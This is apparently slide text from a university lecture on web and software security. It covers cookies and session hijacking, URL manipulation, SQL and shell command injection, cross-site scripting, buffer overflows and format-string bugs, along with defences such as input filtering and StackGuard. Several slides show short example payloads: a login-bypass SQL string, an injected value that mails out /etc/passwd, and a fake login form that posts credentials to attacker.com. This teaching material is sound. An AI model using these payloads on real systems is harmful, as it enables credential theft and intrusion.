  • 68. 68 JavaScript != Java Applet • Scripts are interpreted by the browser itself • Not as powerful as Java (e.g., many attacks require that the user clicks on a button to activate the malicious code) • Successful attacks reported include history tracking, stealing files, helping Java applets to bypass firewalls, etc.
  • 69. 69 Cookies • A cookie is a (name, value) pair • Cookies are set by web servers and stored by web browsers • A cookie set by a server is sent back to the server when the browser visits the server again • Used to create “HTTP sessions” (session state information is stored in cookies)
  • 70. 70 Cookies: Example • If cookies are sent in clear, then they can be eavesdropped and used to hijack an “HTTP session” • Cookies can be used to track what sites the user visits (can lead to serious privacy violation!) – Many sites use third party advertisements – The third party can set a cookie that identifies the user get index.html content of index.html + set-cookie: sessionID=123456789 get nextlink.html + cookie: sessionID=123456789 … client server
  • 71. 71 Cookies: Example • This cookie is sent to the third party each time an ad is downloaded by the user’s browser along with the address of the page that contains the link to the ad (the “referrer” field of the HTTP header contains this address) browser thirdparty.com <html> … <img src=“http://thirdparty.com/ad_server.asp”> … </html> index.html whatever.com get ad_server.asp + referrer=“whatever.com/index.html” + cookie: user=123456789
  • 72. 72 [1] https://www.mia-banca.it [2] Sent authentication form over HTTPS Mario Rossi -- Authentication process -- Case-study: home-banking application Web Application
  • 73. 73 [1] https://www.mia-banca.it [2] Send authentication form over HTTPS [3] Insert username/password via HTTPS [4] Personal Welcome page and Set Cookie Mario Rossi -- Authentication process -- Credential verify: if ok  client authenticated  Cookie generation authentication token Cookie=TWFyaW8123 Username/password Case-study: home-banking application Web Application
  • 74. 74 Mario Rossi --Following request-- [6] Response with user data Authentication token Cookie=TWFyaW8123 Cookie verifing:  Identify user Send data to user [5] Request “movimenti” Cookie=TWFyaW8123 Case-study: home-banking application Web Application
  • 75. 75 [4] Welcome page and Set Cookie=TWFyaW8123 Mario Rossi --Authentication process- Authentication Token Cookie=TWFyaW8123 Audit: cookies collection Web Application Credential verify: if ok  client authenticated  Cookie generation [3] Insert username/password via HTTPS
  • 76. 76 Audit: cookies collect (2) 1st Authentication: User = Mario Rossi; password=12aB45cD: Cookie=TWFyaW8123 2nd Authentication : User = Mario Rossi; password=12aB45cD: Cookie=TWFyaW8125 3rd Authentication : User = Mario Rossi; password=12aB45cD: Cookie=TWFyaW8127 Cookie Guessable: Cookie=TWFyaW8129
  • 77. 77 Mario Rossi --Following request-- [6] Send Mario Verdi data Authentication Token Cookie=TWFyaW8179 Cookie verify: TWFyaW8179 Identify user Mario Verdi Send Mario Verdi data [5] Request “movimenti” Cookie=TWFyaW8179 Session web hacking: identity theft Web Application
  • 78. 78 Possible solutions For a robust session management, it is necessary to protect:  User credentials AND  User authentication token (cookie, session ID) Authentication token should be:  Unique for each session  Not predictable  Resistant to reverse-engineering
  • 79. 79 Cookies: Example • http://www.musicvision.com/network_privacy_poli cy.html Third Party Advertising We use Maxworldwide and other third-party advertising companies to serve ads when you visit our Web site. These companies may use information (not including your name, address, email address or telephone number) about your visits to this and other Web sites in order to provide advertisements on this site and other sites about goods and services that may be of interest to you. If you would like more information about this practice and to know your choices about not having this information used by these companies, please click here Third Party Cookies In the course of serving advertisements to this site, our third-party advertiser may place or recognize a unique "cookie" on your browser.
  • 81. 81 Conventional Security Web Server Data Base Server Firewall 52678 N-BIOS FTP RPC Network Security Controls HTTP(S)
  • 84. 84 URL Manipulation (contd) • GET request sends important parameters on the URL • The parameters can be manipulated to give undesired results • The GET requests are stored in the browser history • Impact is HIGH • Variants work on any user input on web page, hidden values or information stored in cookies. http://www.paladiontest.com/example?accountnumber =12345&debitamount=1
  • 85. 85 URL Manipulation - Solution • The best solution is to avoid sending critical parameters in a query string • Validate with session token • All sensitive data sent in the query string must be cryptographically protected.
  • 86. 86 Web Security – Server Side Risks • Interactive web sites are based on forms and scripts – Forms are written in html – The user fills the form and clicks on a button to submit it – This creates a request to the server that contains the data typed in by the user – The request launches a script on the server that processes the data supplied by the user (may return a page that is created using the supplied data)
  • 87. 87 Unexpected User Input • Unexpected user input may have unexpected effects – Special characters – Too much data (may cause buffer overflow) • At best, the server crashes • At worst, the attacker gains control over the server
  • 88. 88 Unexpected User Input: Example I • An example: password based user authentication – Assume the following server side script is used to check the supplied username and password: query$ = ‘SELECT name, pass FROM database WHERE name = “ ’ + name$ + ‘ ” AND pass = “ ’ + pass$ + ‘ ” ’ Result = SQLquery(query$) if Result <> 0 then OK – With name$ = username and pass$ = passwd SELECT name, pass FROM database WHERE name = “username” AND pass = “passwd” – With name$ = username” OR TRUE OR name = “ and pass$ = passwd SELECT name, pass FROM database WHERE name = “username” OR TRUE OR name = “” AND pass = “passwd”
  • 89. 89 Unexpected User Input ` Malicious User Target Site http://target.site/login.jsp Expected from user The Unexpected Login Successful
  • 90. 90 Unexpected User Input: Example II • User can type her e-mail address in a form and the server sends her the latest public company report – Assume the following perl script is used on the server system(“sendmail $address < report.doc”); – With $address = username@case.edu.pk system(“sendmail username@case.edu.pk < report.doc”); – With $address = username@case.edu.pk < /etc/passwd | sendmail username@case.edu.pk system(“sendmail username@case.edu.pk < /etc/passwd | sendmail username@case.edu.pk < report.doc”);
  • 91. 91 Cross Site Scripting Example ` User Bank.com Attacker.com http://bank.com/login/ Webpage + Cookies Internet Banking Cookie Malicious link on webpage or email with malicious link Malicious Link http://bank.com/account.jsp? <SCRIPT>Send cookie to attacker.com Reflected Code <SCRIPT>Send Cookie to attacker.com</SCRIPT> Internet Banking Cookie Executed
  • 92. 92 Cross Site Scripting • Attacker arranges that the victim receives a malicious script from a trusted server • Example: – UserX places the script in the “guest book” of UserB – UserA visits the “guest book” of UserB – His browser downloads and runs UserX’s script
  • 93. 93 Cross Site Scripting: Example • Requesting a non-existent file abcd.html from some web servers, they return error messages like: “The requested file abcd.html cannot be found on the server.” – Attacker can place the following link on a page: < a href=“http://trusted.server.com/is protected. The server needs you to login.<br><form action=&#34;http://attacker.com/cgiscript.cgi&#34; method=&#34;post&#34;>Username: <input type=&#34;text&#34; name=&#34;name&#34;><br>Password: <input type=&#34;password&#34; name=&#34;pass&#34;><br><input type=&#34;submit&#34; value=&#34;Login&#34;></form><br><br><br><br><br><br><br> <br> <br><br><br><br><br><br><br><br><br><br><br><br><br><br><br>” >
  • 94. 94 What Will Happen? • Alice clicks on the link • HTTP request is sent to trusted.server.com • Server returns the usual error page, but it will look like a login window... The requested file is protected. The server needs you to log in. Username: Password: Login cannot be found on the server. browser window
  • 95. 95 Cross-Site Scripting Defenses • Remove from user input all characters that are meaningful in scripting languages: – =<>"'(); – You must do this filtering on the server side – You cannot do this filtering using Javascript on the client, because the attacker can get around such filtering
  • 96. 96 Cross-Site Scripting Defenses (cont..) • More generally, on the server-side, your application must filter user input to remove: – Quotes of all kinds (', ", and `) – Semicolons (;), Asterisks (*), Percents (%), Underscores (_) – Other shell/scripting metacharacters (=&|*?~<>^()[]{}$nr ) • Define characters that are ok (alpha and numeric), and filter everything else out
  • 97. 97 • Extremely common bug. – First major exploit: 1988 Internet Worm. fingerd. • 15 years later:  50% of all CERT advisories: – 1998: 9 out of 13 – 2001: 14 out of 37 – 2003: 13 out of 28 • Often leads to total compromise of host. Buffer overflows
  • 98. 98 What are buffer overflows? • Suppose a web server contains a function: void func(char *str) { char buf[128]; strcpy(buf, str); do-something(buf); } • When the function is invoked the stack looks like: • What if *str is 136 bytes long? After strcpy: str ret-addr sfp buf top of stack str top of stack *str ret
  • 99. 99 Possible Result Hacker’s Goal Access violation To perform denial of service attacks against servers Instability To disrupt the normal operation of software Code Injection To gain privileges for their own code To exploit vital business data To perform destructive actions Possible Results of Buffer Overruns
  • 100. 100 void UnSafe (const char* uncheckedData) { int anotherLocalVariable; strcpy (localVariable, uncheckedData); } char localVariable[4]; Stack-Based Buffer Overrun Example Top of Stack char[4] int Return address
  • 101. 101 Heap Overruns • Overwrite data stored on the heap • Are harder to exploit than a buffer overrun Data Pointer Data Data Pointer Pointer strcpy xxxxxxx xxxxxxx
  • 102. 102 Preventing overflow attacks • Main problem: – strcpy(), strcat(), sprintf() have no range checking. – “Safe” versions strncpy(), strncat() are misleading • strncpy() may leave buffer unterminated. • strncpy(), strncat() encourage off by 1 bugs. • Defenses: – Type safe languages (Java, ML). Legacy code? – Mark stack as non-execute. Random stack location. – Static source code analysis. – Run time checking: StackGuard, Libsafe, SafeC, (Purify).
  • 103. 103 Marking stack as non- execute • Basic stack exploit can be prevented by marking stack segment as non-executable. • Problems: – Some apps need executable stack (e.g. LISP interpreters).
  • 104. 104 Run time checking: StackGuard • Many many run-time checking techniques … – Here, only discuss methods relevant to overflow protection. • Solutions 1: StackGuard (WireX) – Run time tests for stack integrity. – Embed “canaries” in stack frames and verify their integrity prior to function return. str ret sfp local top of stack canary str ret sfp local canary Frame 1 Frame 2
  • 105. 105 Canary Types • Random canary: – Choose random string at program startup. – Insert canary string into every stack frame. – Verify canary before returning from function. – To corrupt random canary, attacker must learn current random string. • Terminator canary: Canary = 0, newline, linefeed, EOF – String functions will not copy beyond terminator. – Hence, attacker cannot use string functions to corrupt stack.
  • 106. 106 StackGuard (Cont.) • StackGuard implemented as a GCC patch. – Program must be recompiled. • Minimal performance effects: 8% for Apache. • Newer version: PointGuard. – Protects function pointers and setjmp buffers by placing canaries next to them. – More noticeable performance effects. – Note: Canaries don’t offer fullproof protection. – Some stack smashing attacks can leave canaries untouched.
  • 107. 107 StackGuard variants - ProPolice • ProPolice (IBM) - gcc 3.4.1. – Rearrange stack layout to prevent ptr overflow. args ret addr SFP CANARY arrays Local variables Stack Growth No arrays or pointers Ptrs, but no arrays String Growth
  • 108. 108 Run time checking: Libsafe • Solutions 2: Libsafe (Avaya Labs) – Dynamically loaded library. – Intercepts calls to strcpy (dest, src) • Validates sufficient space in current stack frame: |frame-pointer – dest| > strlen(src) • If so, does strcpy. Otherwise, terminates application. dest ret-addr sfp top of stack src buf ret-addr sfp libsafe main
  • 110. 110 Format string problem int func(char *user) { fprintf( stdout, user); } Problem: what if user = “%s%s%s%s%s%s%s” ?? – Most likely program will crash: DoS. – If not, program will print memory contents. Privacy? – Full exploit using user = “%n” Correct form: int func(char *user) { fprintf( stdout, “%s”, user); }
  • 111. 111 Vulnerable functions Any function using a format string. Printing: printf, fprintf, sprintf, … vprintf, vfprintf, vsprintf, … Logging: syslog, err, warn
  • 112. 112 Overflow using format string char errmsg[512], outbuf[512]; sprintf (errmsg, “Illegal command: %400s”, user); sprintf( outbuf, errmsg ); • What if user = “%500d <nops> <shellcode>” – Bypass “%400s” limitation. – Will ovreflow outbuf.
  • 113. 113 Conclusion • There are many more vulnerabilities and attacks • Some of these cannot be prevented by technical means, but only with careful procedures and education of people • This course will focus on technical countermeasures Intruders High Low 1980 1985 1990 1995 2000 Intruder Knowledge Attack Sophistication Cross site scripting password guessing self-replicating code password cracking exploiting known vulnerabilities disabling audits back doors hijacking sessions sweepers sniffers packet spoofing GUI automated probes/scans denial of service www attacks Tools “stealth” / advanced scanning techniques burglaries network mgmt. diagnostics distributed attack tools Staged Auto Coordinated © 2002 by Carnegie Mellon University http://www.cert.org/archive/ppt/cyberterror.ppt